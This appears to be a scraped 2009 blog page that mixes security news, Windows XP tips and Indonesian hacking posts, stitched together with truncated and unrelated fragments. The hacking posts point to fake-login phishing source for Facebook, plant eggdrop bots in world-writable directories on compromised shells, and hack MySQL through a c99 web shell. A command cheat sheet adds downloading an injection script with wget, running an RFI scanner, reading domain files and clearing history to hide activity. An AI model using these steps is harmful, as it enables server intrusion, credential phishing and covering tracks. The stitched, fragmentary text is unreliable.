Microsoft Security Bulletin Summary for November 2009

Published: November 10, 2009 | Updated: November 25, 2009

Version: 1.0
This bulletin summary lists security bulletins released for November 2009.
With the release of the bulletins for November 2009, this bulletin summary replaces the bulletin advance notification originally issued November 5, 2009. For more information about the bulletin advance notification service, see Microsoft Security Bulletin Advance Notification.

Top 13 Security Threats for '10

If you thought 2009 was filled to the brim with malware, spyware and bots, wait till you see what lies is store for 2010. An article recently published on Datamation, looks at Symantec's predictions of what the leading threats for next year will be, looking at areas like Mac, Windows and social networking.  

Microsoft Squashes Windows 7 'Back Door' Rumors

November 23, 2009
By
Stuart J. Johnston

 

Microsoft Friday denied rumors that have been circulating all week that it had put hidden "back doors" into Windows 7 at the federal government's request. But that still leaves some wondering, who can you really trust?

Swine Flu Scam Infecting Users With Spam

In response to the latest in a long line of socially engineered spam attacks, McAfee and the Centers for Disease Control (CDC) are warning people to be on the lookout for a new scam that's using the recent swine flu outbreak as a lure to infect their computers.
On the McAfee Labs blog, a posting is urging people to avoid the urge to respond to an unsolicited e-mail that falsely claims to be an "H1N1 vaccination profile" that purportedly would be used for a state vaccination program.

Latest Spam Attack: Phony Swine Flu Warning

Antivirus firm warns of e-mail that solicits registration for a fake "H1NI vaccination profile."

December 4, 2009
By Larry Barrett: More stories by this author:
Spam continues to be a threat as the latest report from eSecuityPlanet.com details, security vendor McAfee is warning of the latest threat involving a phoney H1NI vaccination and registration spam.
In response to the latest in a long line of socially engineered spam attacks, McAfee and the Centers for Disease Control (CDC) are warning people to be on the lookout for a new scam that's using the recent swine flu outbreak as a lure to infect their computers.

Office 2010 Beta Testers: One Million Strong

Users are so eager to get their hands on the beta of the next major release of Microsoft Office that they've gone download crazy.
That's the word from a tweet sent by Stephen Elop, president of Microsoft's (NASDAQ: MSFT) Business Division on Thursday afternoon.

Cara Melacak IP Address

Kali ini saya akan mengalih perhatian teman-teman dari tutorial blogger, karena sekarang ini sudah banyak orang yang tidak bertanggung jawab melakukan SPAM ato sejenisnya pada website/blog maupun sarana chatting lain-nya.

Biar start up windows anda cepat

Bagaimana Cara - membuat loading Windows XP lebih cepat
Mudah saja untuk membuat loading Windows XP lebih cepat dari biasanya, tentu perbandingannya dengan komputer atau laptop Anda donk, masa dengan komputer saya. Mau dengan cara apa nih? Soalnya banyak trik untuk membuat boot Windows XP menjadi lebih mudah masuk. Sebaiknya saya perjelas dulu saja yang harus diperhatikan. Anda ingin pas masuk Windows XP itu programnya berjalan dengan cepat, Windows Explorer cepat keluar ketika tombol Start di klik kanan dan Explore, dan Anda tidak ingin berlama-lama menunggu System Tray keluar semuanya, begitu kan maksud Anda? Jika ya maka silakan lanjutkan membaca.

Saya perlihatkan dulu apa yang disebut dengan System Tray pada Windows XP Operating System. Inilah yang disebut dengan System Tray.

VIrus Worm:W32/Smallworm.EVU

Virus SBY (Susah2 Berbahaya)

LupatuBag1

 

Soeharto ga di hukum, tomi bebas

n SBY(Susah2Berbahaya)...ga jelas!!!

akan tetapi hanya SBY yang jadi harapan negara ini

...............untuk saat ini lhox......

Solusi :

Untuk Setiap Insan,terutama para pejabat negeri ini

jangan terlalu memikirkan diri sendiri............

mulailah memikirkan untuk kebersamaan&gotongRoyong

dari yang terdekat Keluarga,Saudara.......n......

tetangga terdekat......

 

Sorry,Maaf,....Sorry................

Kalau ini hanya Opini saya..........

Sekian n thanks

 

Bagi sebagian pengamat antivirus yang tidak mengikuti perkembangan malware dengan seksama, tentunya tidak mudah mengerti mengapa bisa banyak bermunculan virus-virus yang disebut dengan virus lokal.  Bahkan ada yang mengatakan bahwa tidak ada yang namanya virus lokal dengan argumentasi karena bahasa pemrograman yang digunakan adalah bahasa internasional, maka semua virus adalah virus internasional. Kalau definisi tersebut dipakai, maka produk-produk piranti lunak buatan programmer Indonesia seperti Accurate, Zahir atau Pesona Edu adalah produk Internasional ... mengapa ? Karena Bahasa Pemrograman yang yang digunakan adalah Bahasa Pemrograman Internasional ... Visual Basic, C, Turbo Pascal.

Perintah eggdrop

Private message nick bot anda !
caranya :

klik dua kali nick bot anda atau

/query nickbotmu

atau
/q nickbotmu
kalau anda belum set password atau baru pertama kali anda komunikasi dengan bot mu, setelah perintah diatas ketik:

pass passyangkamuingini

trus :

auth passyangdadiketiktadi

atau

login passyangdadiketiktadi

trus ketik 

help

biar keluar semua command seperti di bawah ini, jika tidak lakukan ctcp message dengan bot anda.

caranya:

/ctcp nickbot passkamu

berikut command²nya:

->  MSg..!
->  auth          authenticate user
->  deauth        deauthenticate user
->  pass          set password
->  passwd change user password
->  userlist                userlist
->  op <#>            op someone
->  deop <#>          deop someone

Cara Hack Facebook

apa sehhh itu hacking di dalam facebook????

apa mungkin dia bisa hack email kita????

nah sampe saat ini saya tanya sama paman google saya belum menemukan sebuah software untuk hacking email karena yahoo gmail ataupun hotmail itu bukan gampang untuk hacknya karena mereka itu adalah programer² yang sudah di akui di mata dunia.

jadi bagai mana sehh mereka bisa tau id sama password facebook kita
mungkin itu dengan cara memakai cara fakelogin atau pun tampilan palsu untuk yang mau coba memakai fakelogin bisa ambil source nya disini ya kita tinggal upload aja dehh itu script

nah untuk mengetahui atau mengantisipasi supaya kita tidak terjebak oleh jebakan fakelogin??
kita bisa liat contoh gambar dibawah ini:
Note: klik gambar ini untuk memperbesar, biar keliatan hal yang sangat urgen anda perhatikan !

nah mudah mudahan bisa bermanfaat untuk kita smua supaya tidak bisa kena jebak dalam bentuk fakelogin

hehehehheheehe

Load psyBNC

pertama tama maaf kepada teman teman yang sudah mengetahuinya disini kita coba saling berbagi untuk belajar cara buat psy

pertama tama kita sediakan
1. Teh botol sosro dingin
2. Rokok sampoerna satu bungkus biar santai hehehhehehehehhee

kita bisa mulai sekarang

Load eggdrop

disini kita akan mencoba saling berbagi cara buat bot Eggdrop untuk shell injeckan

hehehehehhehe. mungkin dintara kawan kawan lain sudah banyak untuk sekarang ini yang sudah tau cara buat nya tetapi disini di buat kepada teman teman yang belum tau dan masih ingin belajar

setelah shell nya sudah ada kita mulai untuk mencari directory perm 777 yang bisa kita kerjai untuk menanam file bot EGG nya dengan perintah find / -type d -perm 777

Opera Rilis Opera 10.10 final

Jika pada bulan oktober kemarin pengembang Opera merilis browser opera 10.01, maka pada bulan November ini Opera kembali merilis versi terbaru dari browser Opera yaitu Opera 10.10 Final. Dalam versi terbaru ini para pengembang Opera menambahkan beberapa fitur baru serta peningkatan kemanan dan stabilitas.
Dengan opera 10.10 anda dapat berbagi photo, file, streaming musik dan lain-lain langsung dari browser opera.

Free Tool : XP Quick Fix Plus

Windows XP anda mengalami beberapa masalah seperti tidak bisa menjalankan Task Manager, Registry Editor, Folder Options dan lain-lain dikarenakan sesuatu hal semisal serangan virus dan lain-lain? mungkin free Tool yang satu ini bisa membantu anda, XP Quick Fix Plus. Dengan XP Quick plus anda bisa meng enable kan kembali perintah-perintah XP yang tidak bisa berfungsi, caranya pun sangat mudah yaitu anda tinggal klik pada tombol-tombol yang disediakan.

Organize your notification area

The notification area is the collection of small icons near your system clock, in the bottom-right corner of your screen. After you've used your computer for a few months, the notification area can become cluttered with icons for different programs you may have installed. Each icon takes up space on your Microsoft Windows XP taskbar, which leaves less room for your program buttons.

How to quickly open the ClipBook Viewer

When you use the Cut or Copy command on the Edit menu, the material you cut or copy is automatically copied to the Clipboard. The Clipboard is a temporary holding area for the items you've cut or copied. You can use the ClipBook Viewer to see the information that you've copied to the Clipboard.

Help save energy and the environment by putting your monitor to sleep

You can save electricity and reduce your impact on the environment by activating your monitor’s sleep feature in Microsoft Windows XP. Activating sleep settings on just one computer may prevent considerable CO2 emissions each year. Letting your monitor sleep allows it to go into a low-power mode when you’re not using it. To wake your monitor, you simply touch your mouse or keyboard.

Adjust the vertical space between icons

If you add shortcuts to your desktop to launch programs or to open folders, your desktop could quickly become filled with icons. If you'd like more icons to fit on your desktop, you can adjust the spacing between them so that they sit closer together.

Install Windows XP Home Edition Backup software

Computers, like any appliance, can break down or fail. To protect your important files from computer failure, you should make backup copies of your files. Each edition of Microsoft Windows XP—except Windows XP Home Edition—includes Windows Backup, a program that helps you save your files to an external disk. If you use Windows XP Home Edition, you can manually install Windows Backup.

Sort programs on your All Programs menu alphabetically

Finding programs on your All Programs menu can become difficult if you have a lot of programs installed. When you install new programs, Microsoft Windows XP adds each new item to the end of the All Programs menu. You can, however, quickly sort the items on your All Programs menu in alphabetical order.

Turn on the StickyKeys feature

Keyboard shortcuts can save you a lot of time by putting files or commands you use often right at your fingertips. Some keyboard shortcuts, however, require you to hold down three keys at a time. If you want to use a keyboard shortcut but find it difficult to hold down two or three keys at the same time, StickyKeys makes it easy. When a shortcut requires a key combination, the StickyKeys feature in Microsoft Windows XP lets you press a key, such as SHIFT, CTRL, or ALT, and keep it active until another key is pressed. StickyKeys is also helpful when you want to type uppercase letters without holding down SHIFT while you press each letter key.

Change the picture on your Welcome screen

By default, each user account in Microsoft Windows XP has a standard picture (such as a chess set, a dog, or an astronaut) associated with it. If you'd like to make the picture more personal, you can add your own image for each account. Changing pictures is fun, and it makes it easier for young children to use your computer.

Add a picture to a folder

Microsoft Windows XP usually shows icons for folders like My Music and My Pictures. If a folder contains pictures, Windows XP displays random thumbnails from within the folder. You can replace these icons with custom pictures to make browsing your files more fun, and to make it easier for children to find and open files.
Note: Your picture is visible only when you're browsing folders with the Thumbnails view. To access the Thumbnails view, click Thumbnails on the View menu.

Display the volume control icon in the taskbar

If you’re listening to music on your computer, and you want a quick way to turn the volume up or down, you can create a shortcut icon for your volume control and put it in the taskbar. That way it’s always right at your fingertips. Otherwise, you’ll need to go into the Sounds and Audio Devices category in your Control Panel whenever you want to adjust the volume.

Create a keyboard shortcut to open a folder

Do you have a folder that you'd like to be able to open quickly and easily whenever you want? If you create a keyboard shortcut for that folder, you can open it anytime by pressing a key combination, no matter which other programs you have open.

Use the On-Screen Keyboard

Microsoft Windows XP includes the On-Screen Keyboard for those who prefer using a mouse or other pointing device (rather than a physical keyboard) to enter text. Different typing modes allow you to select a key by clicking, hovering over a key for a specific number of seconds, or using a joystick. You can start the On-Screen Keyboard using the Start menu. If you use the On-Screen Keyboard regularly, add a shortcut to your desktop to make it easier to open.

Create a personal screen saver using your photos

If you like using a screen saver and have digital photos on your computer, you can easily make your own screen saver using the pictures that you have stored on your PC. You can set up your screen saver in Microsoft Windows XP to display a slide show of some or all of your pictures when you’re not using your computer.

Time zones, Daylight Saving Time, and e-mail

Time zones and Daylight Saving Time (DST) are sometimes confusing. If you travel between time zones, do you set your clock forward or back? If a friend sends you an e-mail at noon, whose time zone is reflected in Microsoft Outlook—yours or your friend’s? What day should you change your clock for daylight-saving time, and do you move forward or back an hour?

Add a shortcut to your desktop

You can create shortcuts on your desktop that enable you to open your favorite files and folders by simply double-clicking your mouse.

Display the Quick Launch bar

The Quick Launch bar is a list of shortcuts to your favorite programs. You can use the Quick Launch bar to open programs with a single click, without having to go through the Start menu. Microsoft Windows XP displays the Quick Launch bar by default, so it might already be part of your taskbar. Look for the Quick Launch bar directly to the right of your Start button.

Move your taskbar to a new spot

By default, the Microsoft Windows XP taskbar, which shows buttons for each of your open windows, sits at the bottom of your screen. That’s fine if you don’t open many windows. If you have more than six or seven windows open at a time, however, the taskbar can become extremely crowded. To make more room for windows, move your taskbar to the right or left side of the screen, where it will be displayed vertically, giving you room for more than a dozen windows.

Set up your computer so that only authorized people can use it

When several people use a single computer, it’s convenient to set up a user account for each person to keep everyone’s setup preferences and documents separate. If someone wants to use your computer briefly he or she can use the Guest user account. By default in Microsoft Window XP, this account is disabled, which means that only specifically authorized users can access your computer.

Schedule a weekly defragmentation

If it seems like your computer has gotten slower since you bought it, it probably has. One of the biggest factors that slows down your computer’s performance is fragmentation, a situation that occurs over time, in which files on your hard drive become divided into small pieces. Your computer must read a file to open, save, or close it. So when it reads each piece of a fragmented file separately, the effect is that the file can seem “slow” when you’re working with it.

Change the default folder opened in Windows Explorer

Microsoft Windows Explorer, which is accessible through the Start menu, is the tool you use to look through the files and drives on your computer.

When you start Windows Explorer from the Start menu, it opens your My Documents folder by default. However, a My Documents shortcut already exists on your Start menu. You can put the Windows Explorer shortcut to better use by changing it to display all top-level drives and folders on your system. This change will give you a broad, overall view of all your folders and files.

Add familiar icons back to your desktop

When you first got your computer, it probably had shortcuts for My Computer, My Documents, My Network Places, and the Recycle Bin on the desktop. If you or someone else removed any of those shortcuts and you’d like to get them back, you can easily restore them.

Unlock toolbars to work with them

A toolbar is a collection of buttons or icons—usually displayed across the top of the screen—that represents the different tasks you can do within a program. For example, in Microsoft Internet Explorer, there is a toolbar for the standard Internet Explorer command buttons, one for entering an Internet address, and one for quick links you can set up.

Manually put your computer into hibernation

When you use a laptop computer, you probably try to keep your battery power usage to a minimum. You may also want to cut down on the energy consumption of your desktop computer. One way to save power is to turn the computer off when you're not using it. If you’d like to save power but do not want to wait for Windows to shut down and restart, you can use the Microsoft Windows XP hibernation capability.

Instantly activate a screen saver

Screen savers were originally intended to prevent monitor burn-in, which could occur if a single image was displayed most of the time. Over time, that image would essentially become etched into the display, making the monitor harder to use. Monitor technology has improved over the years, and screen savers have become more a form of entertainment than a way to avoid burn-in.

Speed up menu display

Microsoft Windows XP uses many visual effects to provide a rich, friendly interface. One of these settings allows menus to fade into view when you open them. This visual effect is so smooth that you may never have noticed it; however, the effect does cause menus to take a little longer to appear.
On a fast computer, this shouldn't be an issue. But on a computer that isn’t responding as quickly as you'd like, you can make menus display faster.
To speed up menu display

1.	Click Start. Right-click My Computer, and then click Properties.
2.	Click the Advanced tab. In the Performance area, click Settings.
3.	On the Visual Effects tab in the Performance Options dialog box, clear the Fade or slide menus into view check box.
4.	Click OK.
5.	In the System Properties dialog box, click OK.

Now when you click a menu, it will appear almost instantly.

Use a Web graphic for your desktop background

The Web has many beautiful pictures. If you find a picture you particularly like, such as the following image of the puppy, you can make it your desktop background, so that you can see it whenever you use your computer.

Set your windows so they all have the same view

Microsoft Windows XP lets you show the contents of folders in a variety of ways, such as a simple or detailed list of the files, or as thumbnail images. Each folder in My Computer or My Documents can have its own view. That’s useful for folders like My Music or My Pictures, because you can look at your digital photos in Thumbnails or Filmstrip view, and see your song titles in Tiles view. But changing the view for every folder can be time-consuming.

Simplify using your mouse: change double-click to single-click

When you browse the Web with Microsoft Internet Explorer, links open with a single click. Yet, when you browse My Computer or My Documents, a single click lets you select a file or folder, but you have to double-click to open it.

Tired of chasing your mouse? Use keyboard shortcuts

The mouse, one of the greatest advances in computing history, provides you with an intuitive point-and-click method for using your computer. Depending on the type of work you're doing, however, sometimes using a mouse actually slows you down. If you are a good typist, taking your hands away from the keyboard to move the mouse can use up a few seconds. Over the course of a full day, you could save several minutes by using keyboard shortcuts instead of the mouse.

Windows XP tips and tricks

Find out how to put the features of Windows XP to work for you and find time-saving tips for browsing the web.
If your computer is acting up or if you feel your computer is working against you instead of for you, you will find immediate benefits in the amazing tips that will make your work with the computer much more efficient and more fun.

Urusan Hacker, Indonesia Juaranya

Logo Open Hack Day 2009 (yahoo)

Trisno Heriyanto - detikinet

Jakarta - Dari beberapa negara di Asia Tenggara, Indonesia telah dipilih sebagai tuan rumah Yahoo! Open Hack Day ASEAN. Bukan kebetulan belaka Indonesia menjadi tuan rumah acara digelar selama 21-22 November 2009 tersebut.

Cara membuat RSS feed pada blog kita...

jika anda berminat silakan klik RSS Maker

Cari Mencari DomainName dalam 1 Shell YUUkkkZZzz

by: Mask_magicianz

 HAHAY ALL... Me mau Bagi2 sedikit Tips ne.. buat kAmu2 yg Benci Patcher me saranin kalau nemu shell yg ada Giniannya
" /usr/home/englandf/public_html/ " Biasanya ada beberapa domain yg tersembunyi di dalamnya..
Heheh.. jadi banyak cerita nih ... Langsung aja Iyah..

Hacking Mysql DATABASE From c99 Shell

by: Mask_magicianz
############################
# Mask_magicianz@yahoo.com #
# #
# Rosebanditz.network #
# #
# irc.rosebanditz.com:6667 #
############################

Hacking mysql database menggunakan c99 shell

Path yahoo multi dengan regedit jika anda males download software nya

by: Mask_magicianz
Bagi bagi sedikit tips buat yg mau pake yahoo multy tapi males download software...

Path yahoo multy with regedit

Cara dapetin user dan password cpanel..!!

by: Mask_magicianz
Mungkin saat ini dan seterusnya masih banyak yg belum tau tentang cpanel ??

1.apa itu cpanel ???
Jawabannya menurut saia < = xixixiixi cuma kasih pendapat

Cpanel adalah sebuah patch control panel website yg memungkinkan kita untuk
merubah atau men-setting keseluruhan website tersebut..

Perintah dasar shell linux :)

by: Mask_magicianz 
ls -al : Melihat di directory mana atau Aliases kita berada
ls -alF /etc/vdomainaliases : Melihat atau mencari user dan domains yg ada di shell
ls -alF /etc/vmail : Melihat Vmail yg ada di shell
rm -fr / rm -rf : Menghapus directory atau file yg ada di shell
: exp: rm -rf file.php
chmod : Change permition atau mengganti permition file atau directory
: exp: chmod 777 file.php atau chmod 777 includes
touch : Membuat file kosong
: exp: touch file.php
mkdir : Membuat directory
: exp: mkdir images
rmdir : Menghapus directory
: exp: rmdir images
mv : Move atau rename file
: exp: mv file.php file.html atau mv file.php includes jika anda ingin memindahkan file ke suatu directory
tar -zxfv : Extract tar.gz file
: exp: tar -zxfv psybnc.tar.gz
lwp-download : Download file dari URL
: exp: lwp-download http://site.com/script/injek.txt
wget : Download file dari URL
: exp: wget http://site.com/script/injek.txt
who : Melihat dengan siapa kita login
whoami : Melihat sebagai apakah kita login
uname -a : Melihat info lengkap tentang versi dari shell kita
find / -type d -perm 777 : Mencari Directory dengan permition 777
find |grep config : Mencari seluruh configurasi di shell
perl : Run perl
: exp: perl feelcomz_rfi_scan.pl
killall perl : Menghentikan semua perl
history -c : Clear history
cd : Change directory atau mengganti directory
: exp: cd includes
passwd : Mengganti password
cat : Melihat isi sebuah file
: exp: cat file.php
cat /etc/userdomains : Melihat domain yg ada di dalam shell
/sbin/ifconfig/ | grep inet : Melihat jumlah ip yg ada di dalam shell
whereis : Mencari suatu file berdasarkan file name
cat /etc/hosts : Melihat host dari shell

Hacker charged with Heartland, other breaches

Robert Lemos, SecurityFocus 2009-08-18

A federal grand jury in New Jersey indicted three people on Monday for conspiring to break into the servers of five companies, including those of credit-card processor Heartland Payment Systems, grocery store chain Hannaford Bros., and convenience store chain 7-Eleven.

Popular apps need better patching, says report

Network defenders have failed to adapt to current attack trends, continuing to focus on patching operating-system vulnerabilities and leaving ubiquitous applications open to an increasing number of attacks, stated a report published on Tuesday.

Pengetahuan dasar Mirc

Buat kamu yang masih pemula aja....
yang pasti tuk chating di mirc kamu mesti buka program yang namanya mirc lah gambarnya :

Klik aja dua kali !
sebelumnya perhatikan dulu keterangan gambar ini yah !..
klik gambarnya untuk memperbesar yah !

What are the swine flu vaccine ingredients?

How do you quickly find out what ingredients are in the H1N1 flu virus vaccine, either the shot or the intranasal type? If you can reach your doctor by phone or email, ask your physician which manufacturer is being used. Sometimes the nurse giving the shot can take five minutes to read the name of the manufacturer to you over the phone and any relevant information on the package or insert. That way, you'll know what you're getting when you come in for a vaccination.

Windows 7: Tips and tricks

Nothing will make you feel more at home with a new operating system like knowing the tips and tricks that can help you to be as productive as possible. And Windows 7 is packed is full of productivity secrets. Let’s explore a few.
Keyboard magic

McAfee warns of Cold War-style computer attack

The threat of warfare spreading into the digital realm is no longer just a possibility, according to a McAfee report released Tuesday.
The Santa Clara computer security firm concluded that countries like Russia, China, France, Israel and the United States have the technological capabilities to coordinate state-to-state online attacks and are quietly building their computerized arsenals.

Dark side of the Internet

I refer to the letter “Scam victim seeing red over bank’s lack of urgency” (The Star, Nov 13). The writer highlighted his frustrations over the cancellation of his credit card as a result of an Internet scam.
The Internet is a useful tool but it also has a dark side, and unless we take precautions, it can cause us more harm than good.

Computer consoles 'no better' than books for learning

The claim that computer games consoles can improve pupils' maths ability has been dismissed by an Edinburgh University brain scientist.

Prof Sergio Della Sala said pupils' performance was just as good when using traditional textbooks.
Use of the consoles has been supported by government body Learning and Teaching Scotland, (LTS) and has spread beyond Scotland and around the world.
Derek Robertson of LTS said he has had support from both teachers and parents.
The criticism from Professor Della Sala came in a speech to Scotland's headteachers at their annual conference.

How Google and Nike got their names

London, Nov 20 (ANI): Google got its name from googol - the number one followed by 100 zeroes which represents the amount of information the site was expected to cover, and Nike's name come from a Greek goddess, reveals a new book.
 The book narrates the weird and wonderful ways some of the world's top firms got their names are revealed in a new book.

Full gene code of corn deciphered

Washington - American scientists have uncovered the complete genetic code of corn, a discovery that promises to speed the development of higher yielding varieties of one of the world's most important food crops.

Deep Impact Generates its own Spectacular Photo Flash

The hyper-speed demise of NASA's Deep Impact probe generated an immense flash of light, which provided an excellent light source for the two cameras on the Deep Impact mothership. Deep Impact scientists theorize the 820-pound impactor vaporized deep below the comet's surface when the two collided at 1:52 am July 4, at a speed of about 10 kilometers per second (6.3 miles per second or 23,000 miles per hour).

Watch out, roundworms: UV phasers are set to stun

ON THE day a new computer virus hits the internet there is little that antivirus software can do to stop it until security firms get round to writing and distributing a patch that recognises and kills the virus. Now engineers Simon Wiseman and Richard Oak at the defence technology company Qinetiq's security lab in Malvern, Worcestershire, UK, have come up with an answer to the problem.